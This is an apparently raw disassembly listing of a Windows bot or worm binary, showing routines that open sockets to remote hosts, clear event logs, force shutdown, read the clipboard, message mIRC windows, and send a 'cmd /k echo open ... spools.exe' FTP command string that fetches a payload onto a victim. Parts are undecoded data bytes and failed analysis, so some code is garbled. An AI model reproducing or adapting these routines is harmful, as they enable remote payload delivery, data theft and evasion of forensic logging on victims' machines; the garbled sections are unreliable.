[ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DD18 pop ecx test eax, eax pop ecx jnz loc_4184DB and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C650 pop ecx test eax, eax pop ecx jnz loc_4183D2 call sub_41BF92 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41CE38 cmp esi, 3 jz short loc_4182E1 cmp eax, 1 jnz loc_4183D2 loc_4182E1: ; CODE XREF: sub_4180E3+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_418323 push edi call sub_41B890 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41CE38 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_41833F ; --------------------------------------------------------------------------- loc_418323: ; CODE XREF: sub_4180E3+207j call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41CE38 mov cl, 41h sub cl, al mov [ebx], cl loc_41833F: ; CODE XREF: sub_4180E3+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CE38 cmp esi, 3 jz short loc_418368 cmp eax, ebx jnz short loc_4183D2 loc_418368: ; CODE XREF: sub_4180E3+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_4183AD push edi call sub_41B890 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41CE38 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_4183CB ; --------------------------------------------------------------------------- loc_4183AD: ; CODE XREF: sub_4180E3+28Fj call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41CE38 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_4183CB: ; CODE XREF: sub_4180E3+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_4183D2: ; CODE XREF: sub_4180E3+1C9j ; sub_4180E3+1F8j ... cmp esi, 6 jge loc_41845B cmp esi, 5 jge short loc_4183F3 call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_418411 ; --------------------------------------------------------------------------- loc_4183F3: ; CODE XREF: sub_4180E3+2FBj call sub_41BF92 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_418411: ; CODE XREF: sub_4180E3+30Ej call sub_41CE38 test eax, eax jnz short loc_418434 call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41CE38 mov cl, 30h jmp short loc_418451 ; --------------------------------------------------------------------------- loc_418434: ; CODE XREF: sub_4180E3+335j cmp eax, 1 jnz short loc_41845B call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41CE38 mov cl, 41h loc_418451: ; CODE XREF: sub_4180E3+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_41845B: ; CODE XREF: sub_4180E3+2F2j ; sub_4180E3+354j cmp [ebp+var_C], 2 jge short loc_4184DB call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41CE38 cmp eax, 1 jnz short loc_4184DB call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41CE38 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41CE38 cmp eax, 1 jnz short loc_4184DB cmp [ebp+var_C], eax jge short loc_4184DB call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41CE38 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_4184DB: ; CODE XREF: sub_4180E3+1B1j ; sub_4180E3+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BCA0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_4180E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184F4 proc near ; CODE XREF: sub_41852C+125p ; sub_41852C+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_418522 loc_418505: ; CODE XREF: sub_4184F4+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DD70 add esp, 0Ch test eax, eax jz short loc_418528 inc esi cmp esi, edi jl short loc_418505 loc_418522: ; CODE XREF: sub_4184F4+Fj xor al, al loc_418524: ; CODE XREF: sub_4184F4+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_418528: ; CODE XREF: sub_4184F4+27j mov al, 1 jmp short loc_418524 sub_4184F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41852C proc near ; CODE XREF: sub_40E18F+8Bp var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C1D0 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41856D dec eax jz short loc_41854B dec eax loc_418545: ; CODE XREF: sub_41852C+57j xor eax, eax loc_418547: ; CODE XREF: sub_41852C+3Fj ; sub_41852C+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_41854B: ; CODE XREF: sub_41852C+16j push 3 push 1388h push [ebp+arg_0] call dword_4D1230 ; inet_addr push eax call sub_40BF97 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_418547 ; --------------------------------------------------------------------------- loc_41856D: ; CODE XREF: sub_41852C+13j push 6 push 1 push 2 call dword_4D1270 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_418545 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BC40 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4D11F0 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_40AA54 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4D1198 ; connect cmp eax, edi jz loc_418689 push ebx push 48h push offset dword_440A98 push esi call dword_4D1240 ; send cmp eax, edi jz loc_418689 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4D1208 ; recv cmp eax, edi jz loc_418689 cmp [ebp+var_200E], 0Ch jnz short loc_418689 push ebx push 18h push offset dword_440AE4 push [ebp+arg_4] call dword_4D1240 ; send cmp eax, edi jz short loc_418689 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4D1208 ; recv mov esi, eax cmp esi, edi jz short loc_418689 cmp [ebp+var_200E], 2 jnz short loc_418689 push 10h push offset dword_440B00 lea eax, [ebp+var_2010] push esi push eax call sub_4184F4 add esp, 10h test al, al jz short loc_418669 cmp esi, 12Ch setnl bl inc ebx jmp short loc_418689 ; --------------------------------------------------------------------------- loc_418669: ; CODE XREF: sub_41852C+12Fj push 10h push offset dword_440B14 lea eax, [ebp+var_2010] push esi push eax call sub_4184F4 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_418689: ; CODE XREF: sub_41852C+9Bj ; sub_41852C+B2j ... push [ebp+arg_4] call dword_4D1288 ; closesocket mov eax, ebx pop ebx jmp loc_418547 sub_41852C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41869A proc near ; CODE XREF: .nsp0:004026DAp ; .nsp0:00402717p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_418725 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_418725 cmp [ebp+arg_8], esi jz short loc_418725 cmp byte ptr [eax], 0 jz short loc_418725 push ebx push edi call sub_426265 mov ebx, eax pop ecx test ebx, ebx jz short loc_418720 push [ebp+arg_4] push edi call sub_41BFB0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_418719 sub eax, edi push eax push edi push ebx call sub_41BCA0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B890 push eax push [ebp+arg_8] push ebx call sub_41C880 push [ebp+arg_4] call sub_41B890 add eax, esi push eax push ebx call sub_41C560 push ebx push edi call sub_41C550 add esp, 30h mov esi, edi loc_418719: ; CODE XREF: sub_41869A+3Cj push ebx call sub_41B961 pop ecx loc_418720: ; CODE XREF: sub_41869A+2Bj mov eax, esi pop ebx jmp short loc_418727 ; --------------------------------------------------------------------------- loc_418725: ; CODE XREF: sub_41869A+Cj ; sub_41869A+13j ... xor eax, eax loc_418727: ; CODE XREF: sub_41869A+89j pop edi pop esi pop ebp retn sub_41869A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41872B proc near ; CODE XREF: sub_401A09+DCp var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BC40 mov esi, [ebp+arg_0] push esi call sub_41B890 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418761 or eax, 0FFFFFFFFh jmp short loc_4187D4 ; --------------------------------------------------------------------------- loc_418761: ; CODE XREF: sub_41872B+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_418783 loc_41876D: ; CODE XREF: sub_41872B+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41877A cmp dl, 0Dh jnz short loc_41877E loc_41877A: ; CODE XREF: sub_41872B+48j and byte ptr [ecx+esi], 0 loc_41877E: ; CODE XREF: sub_41872B+4Dj inc ecx cmp ecx, eax jl short loc_41876D loc_418783: ; CODE XREF: sub_41872B+40j xor edx, edx push edi test eax, eax jle short loc_4187B4 lea edi, [ebp+var_7CC] loc_418790: ; CODE XREF: sub_41872B+87j cmp byte ptr [edx+esi], 0 jnz short loc_4187AF cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_4187AF cmp ebx, 1F4h jge short loc_4187B4 mov [edi], ecx inc ebx add edi, 4 loc_4187AF: ; CODE XREF: sub_41872B+69j ; sub_41872B+74j inc edx cmp edx, eax jl short loc_418790 loc_4187B4: ; CODE XREF: sub_41872B+5Dj ; sub_41872B+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_4187D2 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call near ptr sub_41C9B0 add esp, 0Ch loc_4187D2: ; CODE XREF: sub_41872B+8Ej mov eax, ebx loc_4187D4: ; CODE XREF: sub_41872B+34j pop esi pop ebx leave retn sub_41872B endp ; =============== S U B R O U T I N E ======================================= sub_4187D8 proc near ; CODE XREF: sub_418832+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418811 push ebx mov ebx, edi loc_4187F5: ; CODE XREF: sub_4187D8+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418814 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_4187F5 pop ebx loc_418811: ; CODE XREF: sub_4187D8+18j pop edi pop esi retn sub_4187D8 endp ; =============== S U B R O U T I N E ======================================= sub_418814 proc near ; CODE XREF: sub_4187D8+25p ; sub_418832+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DE1C cmp al, 61h pop ecx jl short loc_41882F cmp al, 7Ah jg short loc_41882F movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_41882F: ; CODE XREF: sub_418814+Ej ; sub_418814+12j xor eax, eax retn sub_418814 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418832 proc near ; CODE XREF: .nsp0:00415927p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C1D0 push ebx push esi push edi push [ebp+arg_0] call sub_41B890 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B890 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_4187D8 add esp, 14h dec esi mov edi, esi loc_418870: ; CODE XREF: sub_418832+B6j test esi, esi jle short loc_4188EE mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DE1C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DE1C pop ecx cmp eax, ebx pop ecx jz short loc_4188E6 loc_418896: ; CODE XREF: sub_418832+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418814 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_4188B7 mov eax, ecx loc_4188B7: ; CODE XREF: sub_418832+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_4188EA mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DE1C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DE1C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418896 loc_4188E6: ; CODE XREF: sub_418832+62j dec edi dec esi jmp short loc_418870 ; --------------------------------------------------------------------------- loc_4188EA: ; CODE XREF: sub_418832+8Aj xor eax, eax jmp short loc_4188F3 ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_418832+40j mov eax, [ebp+arg_0] add eax, edi loc_4188F3: ; CODE XREF: sub_418832+BAj pop edi pop esi pop ebx leave retn sub_418832 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188F8 proc near ; CODE XREF: .nsp0:004081F4p ; .nsp0:004092CBp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_42708C ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 0B40000h pop ebx lea eax, [ebp+var_100] loc_418931: ; CODE XREF: sub_4188F8+46j mov cl, [eax] cmp cl, 1Fh jg short loc_41893D cmp cl, 9 jnz short loc_418940 loc_41893D: ; CODE XREF: sub_4188F8+3Ej inc eax jmp short loc_418931 ; --------------------------------------------------------------------------- loc_418940: ; CODE XREF: sub_4188F8+43j ; sub_4188F8+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_41895A mov cl, [eax] cmp cl, 2Eh jz short loc_418940 cmp cl, 21h jl short loc_418940 loc_41895A: ; CODE XREF: sub_4188F8+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4E09AC push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C030 add esp, 18h mov eax, esi pop esi leave retn sub_4188F8 endp ; =============== S U B R O U T I N E ======================================= sub_418982 proc near ; CODE XREF: .nsp0:00403F92p push esi push 0 call dword_4D11C0 ; OpenClipboard test eax, eax jz short loc_4189B9 push 1 call dword_4D11E0 ; GetClipboardData mov esi, eax test esi, esi jz short loc_4189B9 push edi push esi call dword_427164 ; GlobalLock push esi mov edi, eax call dword_427160 ; GlobalUnlock call dword_4D1244 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4189B9: ; CODE XREF: sub_418982+Bj ; sub_418982+19j xor eax, eax pop esi retn sub_418982 endp ; =============== S U B R O U T I N E ======================================= sub_4189BD proc near ; CODE XREF: .nsp0:00409065p var_30 = dword ptr -30h push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4D11FC ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_418A39 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 0B40000h popf push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 0B40000h pushf push [esp+44h+var_30] mov ebx, eax push ebx call sub_41BF36 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4D124C ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4D124C ; SendMessageA push ebx call near ptr 0B40000h mov al, ds:6C15FF57h jo short loc_418A74 add [edx+1], ch pop eax pop ebx jmp short loc_418A3B ; --------------------------------------------------------------------------- loc_418A39: ; CODE XREF: sub_4189BD+16j xor eax, eax loc_418A3B: ; CODE XREF: sub_4189BD+7Aj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp-11Ch] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4D12AC ; SearchPathA test eax, eax jz short loc_418ADE mov edi, 80h push esi push edi push 3 loc_418A74: ; CODE XREF: sub_4189BD+73j push esi mov esi, dword_4270EC push 1 lea eax, [ebp-11Ch] push 80000000h push eax call esi ; dword_4270EC mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418ADE lea eax, [ebp-18h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-10h] push eax push ebx call near ptr 0B40000h in eax, 53h mov ebx, dword_42706C call ebx ; dword_42706C push 0 push edi push 3 push 0 push 2 push 40000000h push dword ptr [ebp+8] call esi ; dword_4270EC mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418ADE lea eax, [ebp-18h] push eax lea eax, [ebp-8] ; CODE XREF: .nsp0:00418B3Fj push eax lea eax, [ebp-10h] push eax push esi call near ptr 0B40000h scasb push esi call ebx ; dword_42706C loc_418ADE: ; CODE XREF: sub_4189BD+ACj ; sub_4189BD+D3j ... pop edi pop esi pop ebx leave retn sub_4189BD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418AE3 proc near ; CODE XREF: .nsp0:004031A0p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419EDA pop ecx pop ecx push 50005h push 6 call dword_4D1130 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_418AE3 endp ; --------------------------------------------------------------------------- loc_418B05: ; CODE XREF: .nsp0:00404224p ; .nsp0:00416E74p push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_418B29 cmp dword_4D12C0, esi jnz short loc_418B29 push esi call sub_401000 pop ecx loc_418B29: ; CODE XREF: .nsp0:00418B18j ; .nsp0:00418B20j call sub_40B1D7 lea eax, [ebp-764h] push eax push 400h call near ptr 0B40000h jle short near ptr loc_418ACC+2 test [eax+edi*8-72AF0001h], ebx test [eax+68FFFFFDh], esp les ecx, [ebx] inc esp add [eax-18h], dl fidiv word ptr [ebx] ; --------------------------------------------------------------------------- dw 0 dd 8D0CC483h, 0FFFDA085h, 6A5656FFh, 68565602h, 40000000h dd 0EC15FF50h, 8B004270h, 0FFE3BF8h, 10C86h, 0A0858D00h dd 50FFFFFDh, 0F89C858Dh, 8068FFFFh, 5000440Bh, 33A1E8h dd 0CC48300h, 56FC458Dh, 9C858D50h, 50FFFFF8h, 2CE7E8h dd 8D505900h, 0FFF89C85h, 0E85750FFh, 727448h, 15FF5787h dd 42706Ch, 458D106Ah, 0E85056ECh, 3074h, 458D446Ah, 56575FA8h dd 3066E850h, 0C4830000h, 0A87D8918h, 104BFh, 0A4858D00h dd 57FFFFFEh, 45C75650h, 443398B4h, 0D445C700h, 1, 0D8758966h dd 7273FBE8h, 0E8504600h, 7273F4h, 0A4858D40h, 50FFFFFEh dd 709815FFh, 0F8830042h, 8D1274FFh, 0FFFEA485h, 8068FFh dd 0E8500000h, 7273D0h, 0A4858D8Fh, 50FFFFFEh, 0FDA0858Dh dd 8D50FFFFh, 0FFF89C85h, 0B6868FFh, 0E8500044h, 32E6h dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 99E850FFh dd 98007273h, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 727378h, 0C95E5FC1h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8D proc near ; CODE XREF: .nsp0:00408C42p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4270C8 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_418D23 push [ebp+arg_10] push [ebp+arg_C] call dword_4D1170 ; OpenEventLogA push edi push eax call dword_4D1180 ; ClearEventLogA test eax, eax jz short loc_418D15 push [ebp+arg_10] push offset dword_440C28 loc_418CEE: ; CODE XREF: sub_418C8D+94j lea eax, [ebp+var_294] push eax call sub_41BF36 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 20h jmp short loc_418D4D ; --------------------------------------------------------------------------- loc_418D15: ; CODE XREF: sub_418C8D+57j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_440C00 jmp short loc_418CEE ; --------------------------------------------------------------------------- loc_418D23: ; CODE XREF: sub_418C8D+3Fj lea eax, [ebp+var_294] push offset unk_440BD0 push eax call sub_41BF36 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 1Ch loc_418D4D: ; CODE XREF: sub_418C8D+86j pop edi leave retn sub_418C8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D50 proc near ; CODE XREF: sub_40E18F+480p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4D1230 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_4D11F0 ; ntohs push ebx push 1 push 2 mov [ebp+var_E], ax call dword_4D1270 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_418E1B lea eax, [ebp+var_10] push 10h push eax push edi call dword_4D1198 ; connect cmp eax, 0FFFFFFFFh jz short loc_418E1B mov esi, 400h push ebx lea eax, [ebp+var_5A0] push esi push eax push edi call dword_4D1208 ; recv mov eax, offset aSpools_exe ; "spools.exe" push eax push eax push dword_4D0F20 push [ebp+arg_0] call sub_40AB6A pop ecx push eax push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C030 add esp, 1Ch lea eax, [ebp+var_1A0] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_1A0] push eax push edi call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jnz short loc_418E1F loc_418E1B: ; CODE XREF: sub_418D50+50j ; sub_418D50+62j xor al, al jmp short loc_418E38 ; --------------------------------------------------------------------------- loc_418E1F: ; CODE XREF: sub_418D50+C9j push ebx lea eax, [ebp+var_5A0] push esi push eax push edi call dword_4D1208 ; recv push edi call dword_4D1288 ; closesocket mov al, 1 loc_418E38: ; CODE XREF: sub_418D50+CDj pop edi pop esi pop ebx leave retn sub_418D50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E3D proc near ; CODE XREF: .nsp0:00407058p var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4270C8 ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_418E93 cmp [ebp+var_8C], 0 jnz short loc_418E7C push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418E93 leave retn ; --------------------------------------------------------------------------- loc_418E7C: ; CODE XREF: sub_418E3D+30j cmp [ebp+var_8C], 0Ah jz short loc_418E8E cmp [ebp+var_8C], 5Ah jnz short loc_418E93 loc_418E8E: ; CODE XREF: sub_418E3D+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418E93: ; CODE XREF: sub_418E3D+27j ; sub_418E3D+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call dword_4270B8 ; LoadLibraryA mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call dword_4270BC push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41DF04 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41DF04 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41DF04 lea eax, [ebp+var_F8] push eax call sub_41DEE7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call near ptr 0B40000h push edx mov eax, edi pop edi pop esi leave retn sub_418E3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F1D proc near ; CODE XREF: sub_401135+F7p ; sub_40123E+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call dword_4270A8 ; GetTickCount push eax call sub_41BF88 pop ecx call sub_41BF92 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41CE38 sub esi, eax mov eax, esi pop esi leave retn sub_418F1D endp ; =============== S U B R O U T I N E ======================================= sub_418F5A proc near ; CODE XREF: .nsp0:loc_405FC9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418FBF lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_440C50[esi] push edi push eax call sub_418FE1 add esp, 14h test eax, eax jnz short loc_418FA2 push edi push off_440C4C[esi] mov esi, offset dword_4E1270 push offset unk_440D60 push esi call sub_41BF36 add esp, 10h jmp short loc_418FDC ; --------------------------------------------------------------------------- loc_418FA2: ; CODE XREF: sub_418F5A+2Aj push eax call sub_419083 push eax push edi mov esi, offset dword_4E1270 push offset unk_440D34 push esi call sub_41BF36 add esp, 14h jmp short loc_418FDC ; --------------------------------------------------------------------------- loc_418FBF: ; CODE XREF: sub_418F5A+Cj lea eax, [eax+eax*2] mov esi, offset dword_4E1270 push off_440C48[eax*4] push offset unk_440D10 push esi call sub_41BF36 add esp, 0Ch loc_418FDC: ; CODE XREF: sub_418F5A+46j ; sub_418F5A+63j mov eax, esi pop edi pop esi retn sub_418F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FE1 proc near ; CODE XREF: sub_418F5A+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h 